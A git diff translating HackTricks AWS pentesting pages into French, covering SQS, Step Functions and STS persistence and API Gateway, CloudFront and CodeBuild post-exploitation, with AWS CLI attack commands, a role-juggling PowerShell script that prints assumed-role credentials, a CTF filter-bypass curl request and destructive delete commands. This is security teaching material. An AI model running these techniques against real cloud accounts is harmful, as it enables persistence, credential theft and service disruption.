+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
 }
 ```
-
 > [!NOTE]
-> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> Vous pourriez même **déclencher une Lambda dans le compte de l'attaquant chaque fois qu'un nouveau message** est mis dans la file d'attente (vous devrez le remettre) d'une manière ou d'une autre. Pour cela, suivez ces instructions : [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index c1b9a422b..3bd0aae28 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1,6 +1 @@
 # AWS - SSM Perssitence
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 4e8c120ff..123b875b6 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -1,25 +1,21 @@
-# AWS - Step Functions Persistence
+# AWS - Persistance des Step Functions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Step Functions
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-stepfunctions-enum.md
 {{#endref}}
 
-### Step function Backdooring
+### Backdooring des Step Functions
 
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
+Backdoor une step function pour qu'elle exécute n'importe quel truc de persistance afin que chaque fois qu'elle soit exécutée, elle exécute vos étapes malveillantes.
 
-### Backdooring aliases
+### Backdooring des alias
 
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
+Si le compte AWS utilise des alias pour appeler des step functions, il serait possible de modifier un alias pour utiliser une nouvelle version backdoorée de la step function.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 74db04bec..222eb1cb9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -4,62 +4,59 @@
 
 ## STS
 
-For more information access:
+Pour plus d'informations, accédez à :
 
 {{#ref}}
 ../aws-services/aws-sts-enum.md
 {{#endref}}
 
-### Assume role token
+### Jeton de rôle assumé
 
-Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
+Les jetons temporaires ne peuvent pas être listés, donc maintenir un jeton temporaire actif est un moyen de maintenir la persistance.
 
 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
 
-# With MFA
+# Avec MFA
 aws sts get-session-token \
-    --serial-number &#x3C;mfa-device-name> \
-    --token-code &#x3C;code-from-token>
+--serial-number &#x3C;mfa-device-name> \
+--token-code &#x3C;code-from-token>
 
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# Le nom de l'appareil matériel est généralement le numéro au dos de l'appareil, tel que GAHT12345678
+<strong># Le nom de l'appareil SMS est l'ARN dans AWS, tel que arn:aws:iam::123456789012:sms-mfa/username
+</strong># Le nom de l'appareil virtuel est l'ARN dans AWS, tel que arn:aws:iam::123456789012:mfa/username
 </code></pre>
 
-### Role Chain Juggling
+### Jonglage de chaînes de rôles
 
-[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
-
-You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
+[**Le chaînage de rôles est une fonctionnalité reconnue d'AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), souvent utilisée pour maintenir une persistance discrète. Cela implique la capacité d'**assumer un rôle qui en assume ensuite un autre**, pouvant potentiellement revenir au rôle initial de manière **cyclique**. Chaque fois qu'un rôle est assumé, le champ d'expiration des identifiants est actualisé. Par conséquent, si deux rôles sont configurés pour s'assumer mutuellement, cette configuration permet le renouvellement perpétuel des identifiants.
 
+Vous pouvez utiliser cet [**outil**](https://github.com/hotnops/AWSRoleJuggler/) pour continuer le chaînage de rôles :
 ```bash
 ./aws_role_juggler.py -h
 usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
 
 optional arguments:
-  -h, --help            show this help message and exit
-  -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
+-h, --help            show this help message and exit
+-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
 ```
-
 > [!CAUTION]
-> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
+> Notez que le script [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) de ce dépôt Github ne trouve pas toutes les manières dont une chaîne de rôle peut être configurée.
 
 <details>
 
-<summary>Code to perform Role Juggling from PowerShell</summary>
-
+<summary>Code pour effectuer le Role Juggling depuis PowerShell</summary>
 ```powershell
 # PowerShell script to check for role juggling possibilities using AWS CLI
 
 # Check for AWS CLI installation
 if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
-    Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
-    exit
+Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
+exit
 }
 
 # Function to list IAM roles
 function List-IAMRoles {
-    aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
+aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
 }
 
 # Initialize error count
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
 
 # Attempt to assume each role
 foreach ($role in $roles) {
-    $sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
-    try {
-        $credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
-        if ($credentials) {
-            Write-Host "Successfully assumed role: $($role.RoleName)"
-            Write-Host "Access Key: $($credentials.AccessKeyId)"
-            Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
-            Write-Host "Session Token: $($credentials.SessionToken)"
-            Write-Host "Expiration: $($credentials.Expiration)"
+$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($credentials) {
+Write-Host "Successfully assumed role: $($role.RoleName)"
+Write-Host "Access Key: $($credentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
+Write-Host "Session Token: $($credentials.SessionToken)"
+Write-Host "Expiration: $($credentials.Expiration)"
 
-            # Set temporary credentials to assume the next role
-            $env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
-            $env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
-            $env:AWS_SESSION_TOKEN = $credentials.SessionToken
+# Set temporary credentials to assume the next role
+$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
+$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
+$env:AWS_SESSION_TOKEN = $credentials.SessionToken
 
-            # Try to assume another role using the temporary credentials
-            foreach ($nextRole in $roles) {
-                if ($nextRole.Arn -ne $role.Arn) {
-                    $nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
-                    try {
-                        $nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
-                        if ($nextCredentials) {
-                            Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
-                            Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
-                            Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
-                            Write-Host "Session Token: $($nextCredentials.SessionToken)"
-                            Write-Host "Expiration: $($nextCredentials.Expiration)"
-                        }
-                    } catch {
-                        $errorCount++
-                    }
-                }
-            }
+# Try to assume another role using the temporary credentials
+foreach ($nextRole in $roles) {
+if ($nextRole.Arn -ne $role.Arn) {
+$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
+try {
+$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
+if ($nextCredentials) {
+Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
+Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
+Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
+Write-Host "Session Token: $($nextCredentials.SessionToken)"
+Write-Host "Expiration: $($nextCredentials.Expiration)"
+}
+} catch {
+$errorCount++
+}
+}
+}
 
-            # Reset environment variables
-            Remove-Item Env:\AWS_ACCESS_KEY_ID
-            Remove-Item Env:\AWS_SECRET_ACCESS_KEY
-            Remove-Item Env:\AWS_SESSION_TOKEN
-        } else {
-            $errorCount++
-        }
-    } catch {
-        $errorCount++
-    }
+# Reset environment variables
+Remove-Item Env:\AWS_ACCESS_KEY_ID
+Remove-Item Env:\AWS_SECRET_ACCESS_KEY
+Remove-Item Env:\AWS_SESSION_TOKEN
+} else {
+$errorCount++
+}
+} catch {
+$errorCount++
+}
 }
 
 # Output the number of errors if any
 if ($errorCount -gt 0) {
-    Write-Host "$errorCount error(s) occurred during role assumption attempts."
+Write-Host "$errorCount error(s) occurred during role assumption attempts."
 } else {
-    Write-Host "No errors occurred. All roles checked successfully."
+Write-Host "No errors occurred. All roles checked successfully."
 }
 
 Write-Host "Role juggling check complete."
 ```
-
 </details>
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
index 53f79d916..941a860e3 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/README.md
@@ -1,6 +1 @@
 # AWS - Post Exploitation
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
index 4847c40e0..c7d303d71 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md
@@ -4,48 +4,43 @@
 
 ## API Gateway
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-api-gateway-enum.md
 {{#endref}}
 
-### Access unexposed APIs
+### Accéder aux API non exposées
 
-You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
-Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
+Vous pouvez créer un point de terminaison dans [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) avec le service `com.amazonaws.us-east-1.execute-api`, exposer le point de terminaison dans un réseau auquel vous avez accès (potentiellement via une machine EC2) et assigner un groupe de sécurité permettant toutes les connexions.\
+Ensuite, depuis la machine EC2, vous pourrez accéder au point de terminaison et donc appeler l'API de la passerelle qui n'était pas exposée auparavant.
 
-### Bypass Request body passthrough
+### Contourner le passage du corps de la requête
 
-This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
+Cette technique a été trouvée dans [**ce rapport CTF**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
 
-As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
-
-Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
+Comme indiqué dans la [**documentation AWS**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) dans la section `PassthroughBehavior`, par défaut, la valeur **`WHEN_NO_MATCH`**, lors de la vérification de l'en-tête **Content-Type** de la requête, transmettra la requête au back-end sans transformation.
 
+Par conséquent, dans le CTF, la passerelle API avait un modèle d'intégration qui **empêchait le drapeau d'être exfiltré** dans une réponse lorsqu'une requête était envoyée avec `Content-Type: application/json` :
 ```yaml
 RequestTemplates:
-  application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
+application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
 ```
+Cependant, l'envoi d'une requête avec **`Content-type: text/json`** empêcherait ce filtre.
 
-However, sending a request with **`Content-type: text/json`** would prevent that filter.
-
-Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
-
+Enfin, comme l'API Gateway n'autorisait que `Get` et `Options`, il était possible d'envoyer une requête dynamoDB arbitraire sans aucune limite en envoyant une requête POST avec la requête dans le corps et en utilisant l'en-tête `X-HTTP-Method-Override: GET`:
 ```bash
 curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
 ```
-
 ### Usage Plans DoS
 
-In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
+Dans la section **Enumeration**, vous pouvez voir comment **obtenir le plan d'utilisation** des clés. Si vous avez la clé et qu'elle est **limitée** à X utilisations **par mois**, vous pourriez **simplement l'utiliser et provoquer un DoS**.
 
-The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**.
+La **clé API** doit simplement être **incluse** dans un **en-tête HTTP** appelé **`x-api-key`**.
 
 ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
 
-An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+Un attaquant avec les permissions `apigateway:UpdateGatewayResponse` et `apigateway:CreateDeployment` peut **modifier une réponse de passerelle existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**.
 ```bash
 API_ID="your-api-id"
 RESPONSE_TYPE="DEFAULT_4XX"
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Impact potentiel** : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API.
 
 > [!NOTE]
-> Need testing
+> Besoin de tests
 
 ### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
 
-An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
-
+Un attaquant disposant des autorisations `apigateway:UpdateStage` et `apigateway:CreateDeployment` peut **modifier une étape API Gateway existante pour rediriger le trafic vers une autre étape ou changer les paramètres de mise en cache pour obtenir un accès non autorisé aux données mises en cache**.
 ```bash
 API_ID="your-api-id"
 STAGE_NAME="Prod"
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-
-**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
+**Impact potentiel** : Accès non autorisé aux données mises en cache, perturbation ou interception du trafic API.
 
 > [!NOTE]
-> Need testing
+> Besoin de tests
 
 ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
 
-An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
-
+Un attaquant disposant des autorisations `apigateway:PutMethodResponse` et `apigateway:CreateDeployment` peut **modifier la réponse de méthode d'une méthode API Gateway REST API existante pour inclure des en-têtes personnalisés ou des modèles de réponse qui divulguent des informations sensibles ou exécutent des scripts malveillants**.
 ```bash
 API_ID="your-api-id"
 RESOURCE_ID="your-resource-id"
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-
-**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
+**Impact potentiel** : Fuite d'informations sensibles, exécution de scripts malveillants ou accès non autorisé aux ressources API.
 
 > [!NOTE]
-> Need testing
+> Besoin de tests
 
 ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
 
-An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
-
+Un attaquant disposant des autorisations `apigateway:UpdateRestApi` et `apigateway:CreateDeployment` peut **modifier les paramètres de l'API Gateway REST API pour désactiver la journalisation ou changer la version minimale de TLS, affaiblissant potentiellement la sécurité de l'API**.
 ```bash
 API_ID="your-api-id"
 
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
 # Create a deployment for the updated API Gateway REST API
 aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
 ```
-
-**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
+**Impact potentiel** : Affaiblissement de la sécurité de l'API, permettant potentiellement un accès non autorisé ou exposant des informations sensibles.
 
 > [!NOTE]
-> Need testing
+> Besoin de tests
 
 ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
 
-An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
-
+Un attaquant avec les autorisations `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, et `apigateway:CreateUsagePlanKey` peut **créer de nouvelles clés API, les associer à des plans d'utilisation, puis utiliser ces clés pour un accès non autorisé aux APIs**.
 ```bash
 # Create a new API key
 API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
 # Associate the API key with the usage plan
 aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
 ```
-
-**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
+**Impact potentiel** : Accès non autorisé aux ressources API, contournement des contrôles de sécurité.
 
 > [!NOTE]
-> Need testing
+> Besoin de tests
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
index 4a3c4ff21..7366d190c 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## CloudFront
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-cloudfront-enum.md
@@ -12,24 +12,20 @@ For more information check:
 
 ### Man-in-the-Middle
 
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
+Ce [**post de blog**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) propose quelques scénarios différents où un **Lambda** pourrait être ajouté (ou modifié s'il est déjà utilisé) dans une **communication via CloudFront** dans le but de **voler** des informations utilisateur (comme le **cookie** de session) et **modifier** la **réponse** (en injectant un script JS malveillant).
 
-#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
+#### scénario 1 : MitM où CloudFront est configuré pour accéder à un HTML d'un bucket
 
-- **Create** the malicious **function**.
-- **Associate** it with the CloudFront distribution.
-- Set the **event type to "Viewer Response"**.
+- **Créer** la **fonction** malveillante.
+- **L'associer** à la distribution CloudFront.
+- Définir le **type d'événement sur "Viewer Response"**.
 
-Accessing the response you could steal the users cookie and inject a malicious JS.
+En accédant à la réponse, vous pourriez voler le cookie des utilisateurs et injecter un JS malveillant.
 
-#### scenario 2: MitM where CloudFront is already using a lambda function
+#### scénario 2 : MitM où CloudFront utilise déjà une fonction lambda
 
-- **Modify the code** of the lambda function to steal sensitive information
+- **Modifier le code** de la fonction lambda pour voler des informations sensibles
 
-You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Vous pouvez consulter le [**code tf pour recréer ces scénarios ici**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
index 54be4e299..33b79f447 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/README.md
@@ -4,85 +4,73 @@
 
 ## CodeBuild
 
-For more information, check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../../aws-services/aws-codebuild-enum.md
 {{#endref}}
 
-### Check Secrets
+### Vérifier les Secrets
 
-If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
-Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
+Si des identifiants ont été définis dans Codebuild pour se connecter à Github, Gitlab ou Bitbucket sous forme de jetons personnels, mots de passe ou accès par jeton OAuth, ces **identifiants vont être stockés comme des secrets dans le gestionnaire de secrets**.\
+Par conséquent, si vous avez accès pour lire le gestionnaire de secrets, vous pourrez obtenir ces secrets et pivoter vers la plateforme connectée.
 
 {{#ref}}
 ../../aws-privilege-escalation/aws-secrets-manager-privesc.md
 {{#endref}}
 
-### Abuse CodeBuild Repo Access
+### Abuser de l'Accès au Repo CodeBuild
 
-In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
+Pour configurer **CodeBuild**, il aura besoin de **l'accès au repo de code** qu'il va utiliser. Plusieurs plateformes pourraient héberger ce code :
 
 <figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
 
-The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
+Le **projet CodeBuild doit avoir accès** au fournisseur de source configuré, soit via **un rôle IAM** soit avec un **jeton github/bitbucket ou un accès OAuth**.
 
-An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
-In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
+Un attaquant avec **des permissions élevées sur un CodeBuild** pourrait abuser de cet accès configuré pour divulguer le code du repo configuré et d'autres où les identifiants définis ont accès.\
+Pour ce faire, un attaquant n'aurait qu'à **changer l'URL du dépôt pour chaque dépôt auquel les identifiants de configuration ont accès** (notez que le site web aws les listera tous pour vous) :
 
 <figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
 
-And **change the Buildspec commands to exfiltrate each repo**.
+Et **changer les commandes Buildspec pour exfiltrer chaque dépôt**.
 
 > [!WARNING]
-> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
-> Or does he? Check the next section
+> Cependant, cette **tâche est répétitive et fastidieuse** et si un jeton github a été configuré avec **des permissions d'écriture**, un attaquant **ne pourra pas (ab)user de ces permissions** car il n'a pas accès au jeton.\
+> Ou peut-être ? Consultez la section suivante
 
-### Leaking Access Tokens from AWS CodeBuild
-
-You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
+### Divulgation des Jetons d'Accès depuis AWS CodeBuild
 
+Vous pouvez divulguer l'accès accordé dans CodeBuild à des plateformes comme Github. Vérifiez si un accès à des plateformes externes a été accordé avec :
 ```bash
 aws codebuild list-source-credentials
 ```
-
 {{#ref}}
 aws-codebuild-token-leakage.md
 {{#endref}}
 
 ### `codebuild:DeleteProject`
 
-An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
-
+Un attaquant pourrait supprimer un projet CodeBuild entier, entraînant la perte de la configuration du projet et impactant les applications dépendant du projet.
 ```bash
 aws codebuild delete-project --name <value>
 ```
-
-**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
+**Impact potentiel** : Perte de configuration de projet et interruption de service pour les applications utilisant le projet supprimé.
 
 ### `codebuild:TagResource` , `codebuild:UntagResource`
 
-An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
-
+Un attaquant pourrait ajouter, modifier ou supprimer des balises des ressources CodeBuild, perturbant l'allocation des coûts de votre organisation, le suivi des ressources et les politiques de contrôle d'accès basées sur les balises.
 ```bash
 aws codebuild tag-resource --resource-arn <value> --tags <value>
 aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
 ```
-
-**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
+**Impact potentiel** : Perturbation de l'allocation des coûts, du suivi des ressources et des politiques de contrôle d'accès basées sur des balises.
 
 ### `codebuild:DeleteSourceCredentials`
 
-An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
-
+Un attaquant pourrait supprimer les identifiants source pour un dépôt Git, impactant le fonctionnement normal des applications s'appuyant sur le dépôt.
 ```sql
 aws codebuild delete-source-credentials --arn <value>
 ```
-
-**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
+**Impact potentiel** : Disruption du fonctionnement normal des applications s'appuyant sur le dépôt affecté en raison de la suppression des identifiants source.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
